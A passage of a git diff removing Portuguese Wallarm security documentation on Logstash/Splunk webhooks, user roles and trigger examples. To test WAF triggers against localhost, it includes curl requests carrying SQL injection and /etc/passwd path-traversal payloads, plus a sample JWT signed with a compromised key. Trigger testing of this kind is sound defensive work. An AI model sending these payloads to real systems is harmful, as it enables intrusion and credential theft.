Event Controller, o token gerado `93eaeba4-97a9-46c7-abf3-4e0c545fa5cb` será usado. - -Uma descrição mais detalhada da configuração do Splunk HTTP Event Controller está disponível na [documentação oficial do Splunk](https://docs.splunk.com/Documentation/Splunk/8.0.5/Data/UsetheHTTPEventCollector). - -### Configuração do Logstash - -Como o Wallarm envia logs para o coletor de dados intermediário Logstash via webhooks, a configuração do Logstash deve atender aos seguintes requisitos: - -* Aceitar as solicitações POST ou PUT -* Aceitar solicitações HTTPS -* Ter URL pública -* Encaminhar logs para Splunk Enterprise, este exemplo usa o plug-in `http` para encaminhar logs - -O Logstash é configurado no arquivo `logstash-sample.conf`: - -* O processamento de webhook de entrada é configurado na seção `input`: - * O tráfego é enviado para a porta 5044 - * Logstash está configurado para aceitar apenas conexões HTTPS - * O certificado TLS Logstash assinado por uma CA publicamente confiável está localizado dentro do arquivo `/etc/server.crt` - * A chave privada para o certificado TLS está localizada dentro do arquivo `/etc/server.key` -* O encaminhamento de logs para Splunk e a saída de log são configurados na seção `output`: - * Os logs são encaminhados do Logstash para o Splunk no formato JSON - * Todos os logs de eventos são encaminhados do Logstash para o endpoint da API Splunk `https://109.111.35.11:8088/services/collector/raw` via solicitações POST. Para autorizar solicitações, o token HTTPS Event Collector é usado - * Os logs Logstash são impressos adicionalmente na linha de comando (15ª linha de código). A configuração é usada para verificar que os eventos são registrados via Logstash - -```bash linenums="1" -input { - http { # plugin de entrada para tráfego HTTP e HTTPS - port => 5044 # port for incoming requests - ssl => true # processing of HTTPS traffic - ssl_certificate => "/etc/server.crt" # Logstash TLS certificate - ssl_key => "/etc/server.key" # private key for TLS certificate - } -} -output { - http { # output plugin to forward logs from Logstash via HTTP/HTTPS protocol - format => "json" # format of forwarded logs - http_method => "post" # HTTP method used to forward logs - url => "https://109.111.35.11:8088/services/collector/raw" # endpoint to forward logs to - headers => ["Authorization", "Splunk 93eaeba4-97a9-46c7-abf3-4e0c545fa5cb"] # HTTP headers to authorize requests - } - stdout {} # output plugin to print Logstash logs on the command line -} -``` - -Uma descrição mais detalhada dos arquivos de configuração está disponível na [documentação oficial do Logstash](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html). - -!!! info "Testando a configuração do Logstash" - Para verificar que os logs do Logstash são criados e encaminhados para Splunk, a solicitação POST pode ser enviada para o Logstash. - - **Exemplo de solicitação:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -H "Authorization: Splunk 93eaeba4-97a9-46c7-abf3-4e0c545fa5cb" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logs do Logstash:** - ![Logs do Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-curl-log.png) - - **Eventos Splunk:** - ![Eventos Splunk](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-curl-log.png) - -### Configuração da integração do Logstash - ---8<-- "../include-pt-BR/integrations/webhook-examples/create-logstash-webhook.md" - -![Integração do Webhook com o Logstash](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[Mais detalhes sobre a configuração da integração do Logstash](../logstash.md) - -## Teste de exemplo - ---8<-- "../include-pt-BR/integrations/webhook-examples/send-test-webhook.md" - -Logstash registrará o evento da seguinte forma: - -![Registro sobre novo usuário no Splunk de Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-user-log.png) - -A seguinte entrada será exibida nos eventos do Splunk: - -![Novo cartão de usuário no Splunk de Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-user.png) - -## Organizando eventos em um painel - ---8<-- "../include-pt-BR/integrations/application-for-splunk.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/webhook.md b/docs/latest-pt-BR/user-guides/settings/integrations/webhook.md deleted file mode 100644 index 075855a46e..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/webhook.md +++ /dev/null @@ -1,188 +0,0 @@ -# Webhook - -Você pode configurar o Wallarm para enviar notificações instantâneas para qualquer sistema que aceite webhooks recebidos via protocolo HTTPS. - -## Formato de notificação - -As notificações são enviadas no formato JSON. O conjunto de objetos JSON depende do evento para o qual a notificação é enviada. Por exemplo: - -* Hit detectado - - ```json - [ - { - "summary": "[Wallarm] Novo hit detectado", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "SOME_value", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } - ] - ``` -* Vulnerabilidade detectada - - ```json - [ - { - summary:"[Wallarm] Nova vulnerabilidade detectada", - description:"Tipo de notificação: vuln - - Uma nova vulnerabilidade foi detectada em seu sistema. - - ID: - Título: Teste - Domínio: example.com - Caminho: - Método: - Descoberto por: - Parâmetro: - Tipo: Info - Ameaça: Médio - - Mais detalhes: https://us1.my.wallarm.com/object/555 - - - Cliente: TestCompany - Nuvem: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Teste", - discovered_by:null, - threat:"Médio", - type:"Info" - } - } - } - ] - ``` - -## Configurando a integração - -1. Abra a interface do usuário Wallarm → **Integrações**. -1. Clique no bloco **Webhook** ou clique no botão **Adicionar integração** e escolha **Webhook**. -1. Insira um nome para a integração. -1. Insira a URL do Webhook destinatário. -1. Se necessário, configure as configurações avançadas: - - --8<-- "../include-pt-BR/integrations/webhook-advanced-settings.md" - - ![Exemplo de configurações avançadas](../../../images/user-guides/settings/integrations/additional-webhook-settings.png) -1. Escolha os tipos de eventos para acionar notificações. - - ![Integração de Webhook](../../../images/user-guides/settings/integrations/add-webhook-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/advanced-events-for-integrations.md" - -1. Clique em **Testar integração** para verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato da notificação. - - Exemplo de webhook de teste: - - ```json - [ - { - summary:"[Mensagem de teste] [Teste de parceiro (US)] Nova vulnerabilidade detectada", - description:"Tipo de notificação: vuln - - Uma nova vulnerabilidade foi detectada em seu sistema. - - ID: - Título: Teste - Domínio: example.com - Caminho: - Método: - Descoberto por: - Parâmetro: - Tipo: Info - Ameaça: Médio - - Mais detalhes: https://us1.my.wallarm.com/object/555 - - - Cliente: TestCompany - Nuvem: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Teste", - discovered_by:null, - threat:"Médio", - type:"Info" - } - } - } - ] - ``` - -1. Clique em **Adicionar integração**. - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup.md" - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros de integração incorretos - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/subscriptions.md b/docs/latest-pt-BR/user-guides/settings/subscriptions.md deleted file mode 100644 index 88de5c02e1..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/subscriptions.md +++ /dev/null @@ -1,48 +0,0 @@ -# Assinaturas - -A seção **Configurações** → **Assinaturas** do Console Wallarm exibe detalhes do seu [plano de assinatura](../../about-wallarm/subscription-plans.md) Wallarm. - -## Plano de assinatura pago - -Se você tiver o plano de assinatura paga Wallarm, o cartão de assinatura exibirá as seguintes informações: - -* Nome e status da assinatura -* Data de expiração da assinatura -* Estatísticas sobre as solicitações processadas pelo nó de filtragem -* O conjunto de módulos e recursos incluídos no plano de assinatura (o conjunto depende do plano de assinatura escolhido) - -![Plano de assinatura pago](../../images/user-guides/settings/subscriptions/subscriptions.png) - -Para ativar, cancelar ou alterar uma assinatura, envie uma solicitação para [sales@wallarm.com](mailto:sales@wallarm.com). - -## Uso do Nível Gratuito (Nuvem dos EUA) - -Se você se registrou na Nuvem dos EUA e está usando o plano de assinatura [Nível Gratuito](../../about-wallarm/subscription-plans.md#free-tier-subscription-plan-us-cloud), o cartão de assinatura exibe as seguintes informações: - -* Azulejo de assinatura **Nível Gratuito** -* Azulejo de assinatura **API Discovery** (incluído no Nível Gratuito) -* Estatísticas sobre as solicitações processadas pelo nó de filtragem -* O conjunto de [módulos e recursos ativados](../../about-wallarm/subscription-plans.md#free-tier-us-cloud) - -Para ativar, cancelar ou alterar uma assinatura, envie uma solicitação para [sales@wallarm.com](mailto:sales@wallarm.com). - -## Período de Teste (Nuvem da UE) - -Se você se registrou recentemente na Nuvem da UE e está usando a [versão de teste](../../about-wallarm/subscription-plans.md#trial-period) do Wallarm, o cartão de assinatura exibe as seguintes informações: - -* Nome e status da assinatura -* Data de expiração da assinatura - - O período de teste dura 14 dias e pode ser prorrogado uma vez por mais 14 dias. -* Botão para estender o período de teste - - O período de teste dura 14 dias e pode ser prorrogado uma vez por mais 14 dias. Se o período de teste já foi prorrogado, o botão não está disponível. -* Estatísticas sobre as solicitações processadas pelo nó de filtragem -* O conjunto de módulos e recursos habilitados - - O teste Wallarm fornece o conjunto máximo de módulos e recursos que podem ser incluídos no [plano](../../about-wallarm/subscription-plans.md#subscription-plans) API Security. -* Se você tiver o plano PoC aprovado com a equipe Wallarm, link para o documento de resultados PoC - -![Período de Teste](../../images/user-guides/settings/subscriptions/subscriptions-trial-with-poc.png) - -Para obter mais informações sobre a assinatura do Wallarm ou para ativar um plano de assinatura paga, envie uma solicitação para [sales@wallarm.com](mailto:sales@wallarm.com). \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/users.md b/docs/latest-pt-BR/user-guides/settings/users.md deleted file mode 100644 index 361834e161..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/users.md +++ /dev/null @@ -1,170 +0,0 @@ -[link-audit-log]: audit-log.md - -[link-glossary-incident]: ../../glossary-en.md#security-incident -[link-glossary-vulnerability]: ../../glossary-en.md#vulnerability - -[img-configure-user]: ../../images/user-guides/settings/configure-user.png -[img-disabled-users]: ../../images/user-guides/settings/disabled-users.png -[img-search-user]: ../../images/user-guides/settings/search-users.png -[img-add-user]: ../../images/user-guides/settings/integrations/webhook-examples/adding-user.png -[img-user-menu]: ../../images/user-guides/settings/user-menu.png -[img-disabled-user-menu]: ../../images/user-guides/settings/disabled-user-menu.png -[img-edit-user]: ../../images/user-guides/settings/edit-user.png -[img-user-disable-2fa]: ../../images/user-guides/settings/users-disable-2fa.png -[img-user-menu-disable-2fa]: ../../images/user-guides/settings/disable-2fa-button.png -[img-disable-delete-multi]: ../../images/user-guides/settings/users-multi-disable-access.png -[img-enable-delete-multi]: ../../images/user-guides/settings/users-multi-enable-access.png - -# Configurando usuários - -Você pode gerenciar contas de usuário na aba *Usuários* localizada em *Configurações*. - -!!! warning "Acesso de administrador" - Apenas usuários com a função **Administrador** podem acessar essa configuração. - -## Funções usuárias - -Usuários dos clientes Wallarm podem ter as seguintes funções: - -* **Administrador** com acesso a todas as configurações da Wallarm -* **Analista** com acesso para visualizar as principais configurações da Wallarm e gerenciar informações sobre ataques, [incidentes][link-glossary-incident] e [vulnerabilidades][link-glossary-vulnerability] -* **Somente leitura** com acesso para visualizar as principais configurações da Wallarm -* **Desenvolvedor de API** com acesso para visualizar e baixar o inventário da API descoberto pelo módulo [Descoberta de API](../../api-discovery/overview.md). Essa função permite distinguir usuários cujas tarefas só exigem o uso da Wallarm para obter dados atualizados sobre as APIs da empresa. Esses usuários não têm acesso a nenhuma parte do console da Wallarm, exceto **Descoberta de API** e **configurações → perfil**. - -O recurso [multilocatário](../../installation/multi-tenant/overview.md) também permite que você use as funções globais **Administrador Global**, **Analista Global**, **Somente Leitura Global**. Funções globais fornecem aos usuários acesso à conta de locatário técnico e contas de locatário vinculadas, funções regulares fornecem aos usuários acesso apenas à conta de locatário técnico. - -Mais informações detalhadas sobre o acesso de diferentes funções de usuário às entidades Wallarm é fornecido na tabela abaixo. O gerenciamento de entidades abrange a criação, edição e exclusão de entidades. - -| Entidade | Administrador / Administrador Global | Analista / Analista Global | Somente Leitura / Somente Leitura Global | Desenvolvedor de API | -|---------------------|--------------------------------------|--------------------------|------------------------------|---| -| **Nós de filtragem** | Ver e gerenciar | Ver | Ver | - | -| **Painel** | Ver | Ver | Ver | - | -| **Eventos** | Ver e gerenciar | Ver e gerenciar | Ver | - | -| **Vulnerabilidades** | Ver e gerenciar | Ver e gerenciar | Ver | - | -| **Inventário de API por Descoberta de API** | Ver e gerenciar | Ver e gerenciar | - | Ver e baixar | -| **Especificações de API** | Ver e gerenciar | Ver | Ver | Ver | -| **Scanner** | Ver e gerenciar | Ver e gerenciar | Ver | - | -| **Gatilhos** | Ver e gerenciar | - | - | - | -| **Listas de IP** | Ver, gerenciar e exportar | Ver, gerenciar e exportar | Ver e exportar | - | -| **Regras** | Ver e gerenciar | Ver e gerenciar | Ver | - | -| **Protecção BOLA** | Ver e gerenciar | Ver | - | - | -| **Integrações** | Ver e gerenciar | - | - | - | -| **Modo de filtração** | Ver e gerenciar | Ver | Ver | - | -| **Aplicações** | Ver e gerenciar | Ver | Ver | - | -| **Usuários** | Ver e gerenciar | - | Ver | - | -| **Log de atividade** | Ver | - | Ver | - | - -## Visualizando usuários - -Você pode visualizar listas de usuários nas seguintes abas: -* A aba principal *Usuários* contém todos os usuários da sua empresa registrados na nuvem da Wallarm. Nesta aba, qualquer usuário desativado é realçado em cinza. - - ![Lista de usuários][img-configure-user] - -* A aba *Desativado* contém apenas usuários desativados. - - ![Lista de usuários desativados][img-disabled-users] - -Você pode clicar nas células no cabeçalho da tabela para classificar usuários por nome, função, e-mail e última data de login. - -Você também pode escolher um ou vários usuários marcando as caixas de seleção à esquerda dos nomes dos usuários; portanto, você será capaz de realizar operações em um grupo de usuários. - -## Procurando usuários - -Você pode usar o campo de busca acima da tabela para procurar usuários por nome, e-mail ou função do sistema. - -![Procurando um usuário][img-search-user] - -## Criar um usuário - -1. Na aba *Usuários* da seção *Configurações*, clique no botão *Adicionar usuário*. -2. Selecione a função do usuário na lista suspensa. -3. Insira um primeiro e último nome e um e-mail para o usuário. - - ![Formulário Novo usuário][img-add-user] - -4. Clique no botão *Adicionar usuário*. - - O novo usuário receberá um e-mail automático com um link para fazer login e definir uma senha. - -Para ser notificado sobre novos usuários adicionados, você pode configurar o [gatilho](../triggers/triggers.md) apropriado. As notificações serão enviadas para os sistemas de mensageiros e SOAR (por exemplo, Slack, Microsoft Teams, OpsGenie). - -## Alterar as informações do usuário - -Para alterar os dados do usuário, execute as seguintes ações: -1. Na aba *Usuários* da seção *Configurações*, selecione o usuário a ser editado. -2. Abra o menu de ações do usuário clicando no botão à direita do usuário correspondente. - - ![Menu de ações do usuário][img-user-menu] - -3. Clique em *Editar configurações do usuário*. -4. No formulário que aparece, insira as novas informações do usuário e clique no botão *Salvar*. - - ![Formulário de edição de informações do usuário][img-edit-user] - -As informações antigas do usuário serão substituídas pelas novas. - -## Resetar configurações de autenticação de dois fatores - -Para resetar as configurações de autenticação de dois fatores, execute as seguintes ações: -1. Na aba *Usuários* da seção *Configurações*, selecione o usuário desejado. -2. Abra o menu de ações do usuário clicando no botão à direita do usuário correspondente. - - ![Menu de ações do usuário][img-user-menu-disable-2fa] - -3. Clique em *Desativar 2FA*. -4. No formulário que aparece, insira sua senha de conta de administrador da Wallarm e clique no botão *Desativar 2FA*. - - ![Desativando a autenticação de dois fatores][img-user-disable-2fa] - -A função de autenticação de dois fatores será desativada para o usuário selecionado. O usuário pode reativar a autenticação de dois fatores nas [configurações do perfil](account.md#enabling-two-factor-authentication). - -## Desativar o acesso de um usuário - -Desativar o acesso de um usuário desativará sua conta Wallarm. - -Para desativar a conta Wallarm de um usuário específico, execute as seguintes ações: -1. Na aba *Usuários* da seção *Configurações*, selecione o usuário desejado. -2. Abra o menu de ações do usuário clicando no botão à direita do usuário correspondente. - - ![Menu de ações do usuário][img-user-menu] - -3. Clique em *Desativar acesso*. - -Agora o usuário selecionado da sua empresa não será capaz de usar sua conta Wallarm. - -Se for necessário desativar o acesso para várias contas de usuário, selecione os usuários cujo acesso você precisa revogar. O painel de ação aparecerá. Clique no botão *Desativar acesso* neste painel. - -![Desativando várias contas de usuários][img-disable-delete-multi] - -## Ativar acesso de um usuário - -Ativar o acesso de um usuário ativa sua conta Wallarm. - -Para ativar a conta Wallarm de um usuário específico, execute as seguintes ações: -1. Na aba *Usuários* da seção *Configurações*, selecione o usuário desejado com acesso desativado. -2. Abra o menu de ações do usuário clicando no botão à direita do usuário correspondente. - - ![Menu de ações do usuário][img-disabled-user-menu] - -3. Clique em *Ativar acesso*. - -Agora o usuário selecionado da sua empresa poderá usar sua conta Wallarm. - -Se for necessário ativar o acesso para várias contas de usuário, selecione os usuários que você precisa conceder acesso. O painel de ação aparecerá. Clique no botão *Ativar acesso* neste painel. - -![Ativando várias contas de usuários][img-enable-delete-multi] - -## Excluir um usuário - -Para excluir uma conta de usuário específica, execute as seguintes ações: -1. Na aba *Usuários* da seção *Configurações*, selecione o usuário a ser excluído. -2. Abra o menu de ações do usuário clicando no botão à direita do usuário correspondente. - - ![Menu de ações do usuário][img-user-menu] - -3. Clique em *Excluir*. - -Se for necessário excluir várias contas de usuário, selecione os usuários cujas contas você precisa excluir. O painel de ação aparecerá. Clique no botão *Excluir* neste painel. - -![Excluindo várias contas de usuários][img-disable-delete-multi] \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/triggers/trigger-examples.md b/docs/latest-pt-BR/user-guides/triggers/trigger-examples.md deleted file mode 100644 index 23a0fc6ddc..0000000000 --- a/docs/latest-pt-BR/user-guides/triggers/trigger-examples.md +++ /dev/null @@ -1,251 +0,0 @@ -# Exemplos de gatilhos - -Aprenda exemplos reais de [gatilhos Wallarm](triggers.md) para entender melhor este recurso e configurar gatilhos adequadamente. - -## Coloque na lista cinza um IP se 4 ou mais cargas úteis maliciosas forem detectadas em 1 hora - -Se 4 ou mais diferentes cargas úteis maliciosas forem enviadas para o recurso protegido de um endereço IP, este endereço IP será colocado na lista cinza por 1 hora para todos os aplicativos em uma conta Wallarm. - -Se você criou recentemente a conta Wallarm, este [gatilho já está criado e habilitado](triggers.md#pre-configured-triggers-default-triggers). Você pode editar, desativar, excluir ou copiar este gatilho, bem como os gatilhos criados manualmente. - -![Gatilho de listagem cinza](../../images/user-guides/triggers/trigger-example-graylist.png) - -**Para testar o gatilho:** - -1. Envie as seguintes solicitações ao recurso protegido: - - ```bash - curl 'http://localhost/?id=1%27%20UNION%20SELECT%20username,%20password%20FROM%20users--' - curl 'http://localhost/?id=1%27%20select%20version();' - curl http://localhost/instructions.php/etc/passwd - ``` - - Existem 4 cargas úteis maliciosas dos tipos [SQLi](../../attacks-vulns-list.md#sql-injection), [XSS](../../attacks-vulns-list.md#crosssite-scripting-xss) e [Path Traversal](../../attacks-vulns-list.md#path-traversal). -1. Abra o Console Wallarm → **Listas de IP** → **Lista cinza** e verifique que o endereço IP de onde as solicitações se originaram está na lista cinza por 1 hora. -1. Abra a seção **Eventos** e verifique se os ataques estão exibidos na lista: - - ![Três cargas úteis maliciosas na interface do usuário](../../images/user-guides/triggers/test-3-attack-vectors-events.png) - - Para procurar ataques, você pode usar os filtros, por exemplo: `sqli` para os ataques [SQLi](../../attacks-vulns-list.md#sql-injection), `xss` para os ataques [XSS](../../attacks-vulns-list.md#crosssite-scripting-xss), `ptrav` para os ataques [Path Traversal](../../attacks-vulns-list.md#path-traversal). Todos os filtros estão descritos nas [instruções de uso de pesquisa](../../user-guides/search-and-filters/use-search.md). - -O gatilho é liberado em qualquer modo de filtragem de nó, para que ele coloque os IPs na lista cinza, independentemente do modo do nó. No entanto, o nó analisa a lista cinza apenas no modo **bloqueio seguro**. Para bloquear solicitações maliciosas originadas de IPs listados em cinza, mude o modo [mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) do nó para bloqueio seguro aprendendo suas características primeiro. - -## Coloque na lista de negação um IP se 4 ou mais cargas úteis maliciosas forem detectadas em 1 hora - -Se 4 ou mais diferentes [cargas úteis maliciosas](../../glossary-en.md#malicious-payload) forem enviadas ao recurso protegido de um endereço IP, este endereço IP será colocado na lista de negação por 1 hora para todos os aplicativos em uma conta Wallarm. - -![Gatilho padrão](../../images/user-guides/triggers/trigger-example-default.png) - -**Para testar o gatilho:** - -1. Envie as seguintes solicitações ao recurso protegido: - - ```bash - curl 'http://localhost/?id=1%27%20UNION%20SELECT%20username,%20password%20FROM%20users--' - curl 'http://localhost/?id=1%27%20select%20version();' - curl http://localhost/instructions.php/etc/passwd - ``` - - Existem 4 cargas úteis maliciosas dos tipos [SQLi](../../attacks-vulns-list.md#sql-injection), [XSS](../../attacks-vulns-list.md#crosssite-scripting-xss) e [Path Traversal](../../attacks-vulns-list.md#path-traversal). -2. Abra Console Wallarm → **Listas de IP** → **Lista de negação** e verifique que o endereço IP de onde as solicitações se originaram está bloqueado por 1 hora. -1. Abra a seção **Eventos** e verifique se os ataques estão exibidos na lista: - - ![Três cargas úteis maliciosas na interface do usuário](../../images/user-guides/triggers/test-3-attack-vectors-events.png) - - Para procurar ataques, você pode usar os filtros, por exemplo: `sqli` para os ataques [SQLi](../../attacks-vulns-list.md#sql-injection), `xss` para os ataques [XSS](../../attacks-vulns-list.md#crosssite-scripting-xss), `ptrav` para os ataques [Path Traversal](../../attacks-vulns-list.md#path-traversal). Todos os filtros estão descritos nas [instruções de uso de pesquisa](../../user-guides/search-and-filters/use-search.md). - -Se um endereço IP foi colocado na lista de negação por este gatilho, o nó de filtragem bloquearia todas as solicitações maliciosas e legítimas que se originaram deste IP. Para permitir solicitações legítimas, você pode configurar o [gatilho de listagem cinza](#graylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour). - -## Marque as solicitações como um ataque de força bruta se 31 ou mais solicitações forem enviadas ao recurso protegido - -Para marcar solicitações como um ataque de força bruta regular, o gatilho com a condição **Força bruta** deve ser configurado. - -Se 31 ou mais solicitações forem enviadas para `https://example.com/api/v1/login` em 30 segundos, essas solicitações serão marcadas como [ataque de força bruta](../../attacks-vulns-list.md#brute-force-attack) e o endereço IP de onde as solicitações se originaram será adicionado à lista de negação. - -![Gatilho de força bruta com contador](../../images/user-guides/triggers/trigger-example6.png) - -[Detalhes sobre a configuração de proteção contra força bruta e teste de gatilho →](../../admin-en/configuration-guides/protecting-against-bruteforce.md) - -## Marque as solicitações como um ataque de navegação forçada se o código 404 for retornado para 31 ou mais solicitações - -Para marcar solicitações como um ataque de navegação forçada, o gatilho com a condição **Navegação forçada** deve ser configurado. - -Se o endpoint `https://example.com/**.**` retornar o código de resposta 404 31 ou mais vezes em 30 segundos, as solicitações apropriadas serão marcadas como um ataque de [navegação forçada](../../attacks-vulns-list.md#forced-browsing) e um endereço IP de origem dessas solicitações será bloqueado. - -Exemplos de endpoints que correspondem ao valor URI são `https://example.com/config.json`, `https://example.com/password.txt`. - -![Gatilho de navegação forçada](../../images/user-guides/triggers/trigger-example5.png) - -[Detalhes sobre a configuração de proteção contra força bruta e teste de gatilho →](../../admin-en/configuration-guides/protecting-against-bruteforce.md) - -## Marque as solicitações como o ataque BOLA - -Se 31 ou mais solicitações forem enviadas para `https://example.com/shops/{shop_id}/financial_info` em 30 segundos, essas solicitações serão marcadas como o [ataque BOLA](../../attacks-vulns-list.md#broken-object-level-authorization-bola) e o endereço IP de onde as solicitações se originaram será adicionado à lista de negação. - -![Gatilho BOLA](../../images/user-guides/triggers/trigger-example7.png) - -[Detalhes sobre a configuração da proteção BOLA e teste de gatilho →](../../admin-en/configuration-guides/protecting-against-bola.md) - -## Detectar JWTs fracos - -Se uma quantidade significativa de solicitações recebidas processadas pelo nó 4.4 ou acima contiver JWTs fracos, registre a vulnerabilidade correspondente[correspondente](../vulnerabilities.md). - -JWTs fracos são aqueles que são: - -* Não criptografados - não há algoritmo de assinatura (o campo `alg` é `none` ou está ausente). -* Assinado usando chaves secretas comprometidas - -Se você criou recentemente a conta Wallarm, este [gatilho já está criado e habilitado](triggers.md#pre-configured-triggers-default-triggers). Você pode editar, desativar, excluir ou copiar este gatilho, bem como os gatilhos criados manualmente. - -![Exemplo de gatilho para JWTs fracos](../../images/user-guides/triggers/trigger-example-weak-jwt.png) - -**Para testar o gatilho:** - -1. Gere um JWT assinado usando uma [chave secreta comprometida](https://github.com/wallarm/jwt-secrets), por exemplo: - - ``` - eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJyb2xlIjoiQWRtaW5pc3RyYXRvciJ9.p5DrumkF6oTBiUmdtDRT5YHqYL2D7p5YOp6quUrULYg - ``` -1. Gere algum tráfego com solicitações autenticadas usando um JWT comprometido. -1. Se uma quantidade significativa de solicitações recebidas processadas pelo nó 4.4 ou acima contiver JWTs fracos, a Wallarm registrará a vulnerabilidade, por exemplo: - - ![Exemplo de vulnerabilidade JWT](../../images/user-guides/vulnerabilities/weak-auth-vuln.png) - -## Notificação de Opsgenie se 2 ou mais incidentes forem detectados em um segundo - -Se 2 ou mais incidentes com o servidor de aplicativos ou banco de dados forem detectados em um segundo, a notificação sobre este evento será enviada ao Opsgenie. - -![Exemplo de um gatilho que envia dados para o Splunk](../../images/user-guides/triggers/trigger-example3.png) - -**Para testar o gatilho**, é necessário enviar um ataque explorando uma vulnerabilidade ativa ao recurso protegido. A seção Console Wallarm → **Vulnerabilidades** exibe as vulnerabilidades ativas detectadas em seus aplicativos e os exemplos de ataques que exploram essas vulnerabilidades. - -Se o exemplo de ataque for enviado ao recurso protegido, a Wallarm registrará o incidente. Dois ou mais incidentes registrados irão acionar o envio da seguinte notificação para Opsgenie: - -``` -[Wallarm] Gatilho: O número de incidentes excedeu o limite - -Tipo de notificação: incidentes_excedidos - -O número de incidentes detectados excedeu 1 em 1 segundo. -Esta notificação foi disparada pelo gatilho "Notificação sobre incidentes". - -Cláusulas adicionais do gatilho: -Alvo: servidor, banco de dados. - -Ver eventos: -https://my.wallarm.com/attacks?q=incidents&time_from=XXXXXXXXXX&time_to=XXXXXXXXXX - -Cliente: TestCompany -Nuvem: EU -``` - -* `Notificação sobre incidentes` é o nome do gatilho -* `TestCompany` é o nome da conta da sua empresa no Console Wallarm -* `EU` é a Nuvem Wallarm onde a sua conta da empresa está registrada - -!!! info "Protegendo o recurso da exploração de vulnerabilidade ativa" - Para proteger o recurso da exploração da vulnerabilidade ativa, recomendamos corrigir a vulnerabilidade em tempo hábil. Se a vulnerabilidade não puder ser corrigida do lado do aplicativo, por favor, configure um [patch virtual](../rules/vpatch-rule.md) para bloquear ataques que explorem essa vulnerabilidade. - -## Notificação para URL do Webhook se o endereço IP for adicionado à lista de negação - -Se um endereço IP foi adicionado à lista de negação, o webhook sobre este evento será enviado para a URL do Webhook. - -![Exemplo de gatilho para IP na lista de negação](../../images/user-guides/triggers/trigger-example4.png) - -**Para testar o gatilho:** - -1. Abra o Console Wallarm → **Listas de IP** → **Lista de negação** e adicione o endereço IP à lista de negação. Por exemplo: - - ![Adicionando IP à lista de negação](../../images/user-guides/triggers/test-ip-blocking.png) -2. Verifique que o seguinte webhook foi enviado para a URL do Webhook: - - ``` - [ - { - "summary": "[Wallarm] Gatilho: Novo endereço IP foi colocado na lista de negação", - "description": "Tipo de notificação: ip_bloqueado\n\nEndereço IP 1.1.1.1 foi colocado na lista de negação até 2021-06-10 02:27:15 +0300 pelos motivos Produz muitos ataques. Você pode revisar os endereços IP bloqueados na seção \"Lista de negação\" do Console Wallarm.\nEsta notificação foi ativada pelo gatilho \"Notificação sobre IP na lista de negação\". O IP está bloqueado para o aplicativo Application #8.\n\nCliente: TestCompany\nNuvem: EU\n", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "ip_blocked", - "trigger_name": "Notificação sobre IP na lista de negação", - "application": "Application #8", - "reason": "Produz muitos ataques", - "expire_at": "2021-06-10 02:27:15 +0300", - "ip": "1.1.1.1" - } - } - ] - ``` - - * `Notificação sobre IP na lista de negação` é o nome do gatilho - * `TestCompany` é o nome da conta da sua empresa no Console Wallarm - * `EU` é a Nuvem Wallarm onde a sua conta da empresa está registrada - -## Agrupar acertos originados do mesmo IP em um ataque - -Se mais de 50 [hits](../../about-wallarm/protecting-against-attacks.md#hit) do mesmo endereço IP forem detectados em 15 minutos, os próximos hits do mesmo IP serão agrupados em um ataque na [lista de eventos](../events/check-attack.md). - -Se você criou recentemente a conta Wallarm, este [gatilho já está criado e habilitado](triggers.md#pre-configured-triggers-default-triggers). Você pode editar, desativar, excluir ou copiar este gatilho, bem como os gatilhos criados manualmente. - -![Exemplo de um gatilho de agrupamento de hits](../../images/user-guides/triggers/trigger-example-group-hits.png) - -**Para testar o gatilho**, envie 51 ou mais hits da seguinte forma: - -* Todos os hits são enviados em 15 minutos -* Os endereços IP das fontes de hit são os mesos -* Hits têm diferentes tipos de ataque ou parâmetros com cargas 